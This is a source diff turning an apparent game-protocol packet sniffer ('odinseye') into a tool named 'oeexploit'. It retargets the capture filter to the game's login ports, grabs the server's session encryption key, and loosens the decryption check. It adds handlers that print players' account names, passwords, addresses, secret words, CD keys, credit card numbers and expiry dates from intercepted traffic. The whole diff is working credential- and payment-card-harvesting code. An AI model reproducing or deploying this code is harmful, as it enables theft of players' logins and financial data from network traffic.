diff -bu odinseye/oeConnection.cpp oeexploit/oeConnection.cpp
--- odinseye/oeConnection.cpp	2002-02-06 14:48:13.000000000 -0500
+++ oeexploit/oeConnection.cpp	2003-11-07 07:15:26.000000000 -0500
@@ -300,6 +300,43 @@
     } else if (!p->is_udp && !p->from_server) {
 	seq = p->getShort();
 	srcid = p->getShort();
+        switch (seq)
+        {
+        case 0x012c:
+            printf("Login request\n");
+	    p->skip(1); printf("  AccountName: %s\n", p->getPascalString().ascii());
+	    p->skip(1); printf("  Password: %s\n", p->getPascalString().ascii());
+            break;
+	case 0x012d:
+	    printf("Account information update\n");
+	    p->skip(1); printf("  Account Name: %s\n", p->getPascalString().ascii());
+	    p->skip(1); printf("  Password: %s\n", p->getPascalString().ascii());
+	    p->skip(1); printf("  First name: %s\n", p->getPascalString().ascii());
+	    p->skip(1); printf("  Last name: %s\n", p->getPascalString().ascii());
+	    p->skip(1); printf("  Middle initial: %s\n", p->getPascalString().ascii());
+	    p->skip(1); printf("  Address1: %s\n", p->getPascalString().ascii());
+	    p->skip(1); printf("  Address2: %s\n", p->getPascalString().ascii());
+	    p->skip(1); printf("  City: %s\n", p->getPascalString().ascii());
+	    p->skip(1); printf("  State: %s\n", p->getPascalString().ascii());
+	    p->skip(1); printf("  ZipCode: %s\n", p->getPascalString().ascii());
+	    p->skip(1); printf("  Country: %s\n", p->getPascalString().ascii());
+	    p->skip(1); printf("  Phone: %s\n", p->getPascalString().ascii());
+	    p->skip(1); printf("  Email: %s\n", p->getPascalString().ascii());
+	    p->skip(1); printf("  Secret word: %s\n", p->getPascalString().ascii());
+	    p->skip(1); printf("  CDKey: %s\n", p->getPascalString().ascii());
+	    break;
+	case 0x0130:
+	    printf("Billing information update\n");
+	    p->skip(1); printf("  AccountName: %s\n", p->getPascalString().ascii());
+	    p->skip(1); printf("  Password: %s\n", p->getPascalString().ascii());
+	    p->skip(1); printf("  Name: %s\n", p->getPascalString().ascii());
+	    p->skip(1); printf("  Credit card number: %s\n", p->getPascalString().ascii());
+    	    p->skip(1); printf("  Credit card expiration: %s", p->getPascalString().ascii());
+	    p->skip(1); printf("/%s\n", p->getPascalString().ascii());
+	    p->skip(1); printf("  Billing cycle: %s\n", p->getPascalString().ascii());
+	    break;
+        }
+        return;
 	p->skip(2);
 	command = p->getShort();
 	destid = p->getShort();
@@ -345,8 +382,13 @@
 	      break;
 	}
     } else if (!p->is_udp && p->from_server) {
+        p->skip(1);
 	command = p->getByte();
 	switch (command) {
+	  case 0x65:
+	      p->skip(4);
+	      cryptkey = p->getBytes(13);
+	      break;
 	  case 0x8a:
 	      p->skip(2);
 	      bigver = p->getByte();
diff -bu odinseye/oePacket.cpp oeexploit/oePacket.cpp
--- odinseye/oePacket.cpp	2002-02-06 14:48:16.000000000 -0500
+++ oeexploit/oePacket.cpp	2003-11-07 06:54:14.000000000 -0500
@@ -39,7 +39,7 @@
 }
 
 void oePacket::decrypt(QString key) {
-  if (key.length() == 12) { 
+  if (key.length()) { 
     daoccrypt((char *)data,d.size(),key,key.length());
   }
 }
diff -bu odinseye/oeSniffer.cpp oeexploit/oeSniffer.cpp
--- odinseye/oeSniffer.cpp	2002-02-06 14:48:15.000000000 -0500
+++ oeexploit/oeSniffer.cpp	2003-11-07 05:59:58.000000000 -0500
@@ -148,26 +148,26 @@
   int i;
   int nsize;
 
-  if (data.size() < 2) 
+  if (data.size() < 4)
     return NULL;
 
   rd=data.data();
-  d=(unsigned char *)rd;
+  d=(unsigned char *)rd+2;
 
   psize=(d[0]<<8)+d[1];
 
-  if (serv)
-    psize+=1;
-  else
-    psize+=10;
-  if (data.size() < psize+2)
+//  if (serv)
+//    psize+=1;
+//  else
+//    psize+=10;
+  if (data.size() < psize+4)
     return NULL;
 
-  p=new oePacket(rd+2, psize, serv, false, basetick);
+  p=new oePacket(rd+4, psize, serv, false, basetick);
 
-  nsize=data.size()-(psize+2);
+  nsize=data.size()-(psize+4);
   for(i=0;i<nsize;i++) 
-    rd[i]=rd[i+psize+2];
+    rd[i]=rd[i+psize+4];
   data.resize(nsize);
 
   return p;
@@ -255,7 +255,7 @@
     return;
   }
 
-  f="ip and net 208.254.16.0/24 and ((tcp and port 10622) or udp)";
+  f="ip and net 208.254.16.0/24 and tcp and (port 10500 or port 10501 or port 10502 or port 10503 or port 10504)";
   qWarning(QString("Applying filter: %1").arg(f));
   if (pcap_compile(pcap, &bpp, (char *)((const char *)f), 1, 0) == -1) {
      qFatal("Failed to compile pcap filter");
